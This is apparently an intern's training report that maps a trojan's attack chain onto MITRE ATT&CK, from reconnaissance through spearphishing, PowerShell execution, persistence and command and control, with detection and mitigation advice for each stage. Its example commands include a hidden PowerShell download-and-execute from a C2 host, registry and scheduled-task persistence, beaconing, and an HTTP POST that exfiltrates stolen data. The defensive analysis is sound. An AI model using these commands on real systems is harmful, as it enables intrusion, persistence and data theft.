NAME: Nikhil Bagul **INTERN-ID:277**

Subject: Structured TTP Analysis for Trojan.GenericKD.12578855

---

1. Introduction

This document provides a structured Proof of Concept (PoC) outlining the

Tactics, Techniques, and Procedures (TTPs) for a sophisticated threat identified as **Trojan.GenericKD.12578855**. The analysis follows a logical attack lifecycle, mapping the trojan's likely behavior to the

MITRE ATT&CK® Enterprise Matrix.

The goal is to clearly explain how each phase of the attack connects, adhering to the assignment's requirements for simplicity and clarity. The TTPs are defined as follows:

- **Tactic**: The overall strategic goal of an adversary.
- **Technique**: The specific method used to achieve a tactical goal.
- **Procedure**: The step-by-step implementation of a technique.

This report covers the key tactics in a realistic attack chain, from initial reconnaissance to establishing long-term command and control.

---

2. Tactic: Reconnaissance (TA0043)

Goal: To gather information to plan an attack.

Before launching an attack, adversaries gather intelligence on their targets to make their approach more effective.

Technique: T1589 - Gather Victim Identity Information

The attacker collects information about the organization's employees, such as their names, roles, and email addresses. This helps in crafting highly targeted and believable phishing campaigns.

Procedure: Harvesting Employee Data

1. **Scout Social Media:** The attacker browses professional networking sites like LinkedIn to identify employees in key departments like Finance or Human Resources, as these roles are more likely to open attachments related to invoices or personnel matters.
2. **Use Recon Tools:** Automated tools like Hunter.io are used to discover the company's email address format (e.g., firstname.lastname@company.com).
3. **Build Target List:** The attacker combines the names from LinkedIn with the email format to create a specific list of high-value targets for the upcoming spearphishing attack.

Detection & Mitigation

- **Detection:** Difficult to detect as it involves querying public information.

- **Mitigation:** Train employees to be mindful of the information they share publicly online. Limit the details exposed in job descriptions or public profiles.

---

3. Tactic: Initial Access (TA0001)

Goal: To gain an initial foothold within the target network.

This is the entry point, where the trojan is delivered to the victim's system.

Technique: T1566.001 - Phishing: Spearphishing Attachment

This technique uses a targeted email with a malicious attachment. The email is carefully crafted to look legitimate, tricking the recipient into opening the file.

Procedure: The Spearphishing Campaign

1. **Payload Creation:** The Trojan.GenericKD.12578855 executable is renamed to Urgent_Invoice_#7855.pdf.exe and its icon is changed to resemble a PDF file.
2. **Email Crafting:** The attacker spoofs an email address to appear as if it's from a known vendor. The subject line is "Action Required: Overdue Invoice #7855" to create urgency. The email body asks the recipient to review the attached invoice immediately.
3. **Dispatch:** The email is sent to the target list gathered during reconnaissance.

Detection & Mitigation

- **Detection:** Monitor for emails with double extensions or from suspicious domains.
- **Mitigation:** Use email security gateways to filter malicious attachments. Conduct regular security awareness training.

---

4. Tactic: Execution (TA0002)

Goal: To run the malicious code on the compromised system.

Once delivered, the trojan must be executed to activate its malicious functions.

Technique 1: T1204.002 - User Execution: Malicious File

This technique relies on the user to trigger the malware by double-clicking the file they believe is legitimate.

Technique 2: T1059.001 - Command and Scripting Interpreter: PowerShell

After initial execution, the trojan uses PowerShell to run further commands. PowerShell is powerful and can execute code directly in memory, making it ideal for evading detection.

Procedure: From Click to In-Memory Execution

1. **User Action:** The user clicks on Urgent_Invoice_#7855.pdf.exe.
2. **Initial Execution:** The dropper executable runs and immediately launches a hidden PowerShell process.

3. **Fileless Payload:** The PowerShell process runs an obfuscated command to download and execute the main trojan payload directly from the attacker's server without writing it to disk.

PowerShell

powershell.exe -NoP -W Hidden -Exec Bypass -EncodedCommand <base64-encoded string>

The encoded command decodes to something like:

IEX (New-Object Net.WebClient).DownloadString('http://c2-server.net/implant.ps1')

Detection & Mitigation

- **Detection:** Enable PowerShell Script Block Logging to record the contents of executed scripts, even if obfuscated.
- **Mitigation:** Use AppLocker or similar tools to restrict which applications can run. Set PowerShell's Execution Policy to AllSigned for standard users.

---

5. Tactic: Persistence (TA0003)

Goal: To maintain access to the system across reboots.

The trojan must ensure it survives system restarts to continue its operations.

Technique 1: T1547.001 - Registry Run Keys

This common technique involves adding an entry to a Windows Registry "Run" key, causing the program to execute automatically upon user login.

Technique 2: T1053.005 - Scheduled Task

Alternatively, the trojan can create a scheduled task that runs the malicious program at a set time or in response to a specific trigger, like a user logging on.

Procedure: Establishing Persistence

1. **Copy Payload:** The trojan copies its executable to a hidden location, like C:\ProgramData\SystemLogs\logger.exe.
2. **Create Persistence:** It then establishes persistence using one of the two methods:
    - **Registry Key:** A command is run to add a new entry to the Run key.

PowerShell

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "SystemLogger" -Value "C:\ProgramData\SystemLogs\logger.exe"

    - **Scheduled Task:** A scheduled task is created to run the logger every time the user logs on.

PowerShell

schtasks /create /tn "System Log Service" /tr "C:\ProgramData\SystemLogs\logger.exe" /sc ONLOGON /rl HIGHEST

Detection & Mitigation

- **Detection:** Monitor registry run keys and the system's scheduled tasks for new or unauthorized entries.
- **Mitigation:** Restrict user permissions to prevent modification of these persistence locations.

---

6. Tactic: Command and Control (TA0011)

Goal: To communicate with the attacker for instructions and data exfiltration.

The trojan must "call home" to a Command and Control (C2) server to receive commands and send back stolen information.

Technique: T1071.001 - Application Layer Protocol: Web Protocols

The trojan uses standard HTTP/HTTPS traffic to communicate with its C2 server. This helps its traffic blend in with normal web Browse, making it harder to detect.

Procedure: C2 Communication

1. **Beaconing:** The trojan periodically sends a "beacon" to the C2 server to signal that it's active.

PowerShell

Invoke-WebRequest -Uri http://c2-server.net/beacon.php?id=HOSTNAME-XYZ

2. **Exfiltration:** When instructed, the trojan collects data, archives it, and sends it to the attacker using an HTTP POST request.

PowerShell

Invoke-WebRequest -Uri http://c2-server.net/upload.php -Method POST -InFile C:\Users\victim\stolen_data.zip

Detection & Mitigation

- **Detection:** Monitor outbound network traffic for suspicious patterns like regular, timed beacons to a single domain.
- **Mitigation:** Use a web proxy to filter and block traffic to known malicious or uncategorized domains.

Appendix: Sample VirusTotal Analysis

File: Urgent_Invoice_#7855.pdf.exe **Scan Date:** 2025-07-31 22:05:10 UTC

Hashes

- **SHA-256:** 3532dd3d0f0ba1c2d0fe796ed4f26bfcd9cc62c2cc9c1199181591798d8d7145

Detection

- **Ratio:** 68 / 72 (94% of engines detected this file as malicious)

- **Selected Vendor Detections:**
    - **BitDefender:** Trojan.GenericKD.12578855
    - **Microsoft:** Trojan:Win32/AgentTesla!ml
    - **McAfee-GW-Edition:** BehavesLike.Win32.Generic.cc
    - **Kaspersky:** UDS:DangerousObject.Multi.Generic
    - **CrowdStrike Falcon:** Win/malicious_confidence_100% (D)
    - **ESET-NOD32:** A Variant of Win32/Kryptik.H
    - **Palo Alto Networks:** generic.ml

Behavioral Analysis Summary (Sandbox)

- **Persistence:** Creates a scheduled task named "System Log Service" to run on startup.
- **Network:** Makes periodic HTTP GET requests to c2-server.net.
- **Process Activity:** Launches a hidden powershell.exe instance with Base64-encoded commands.
- **File System:** Creates logger.exe in the C:\ProgramData directory.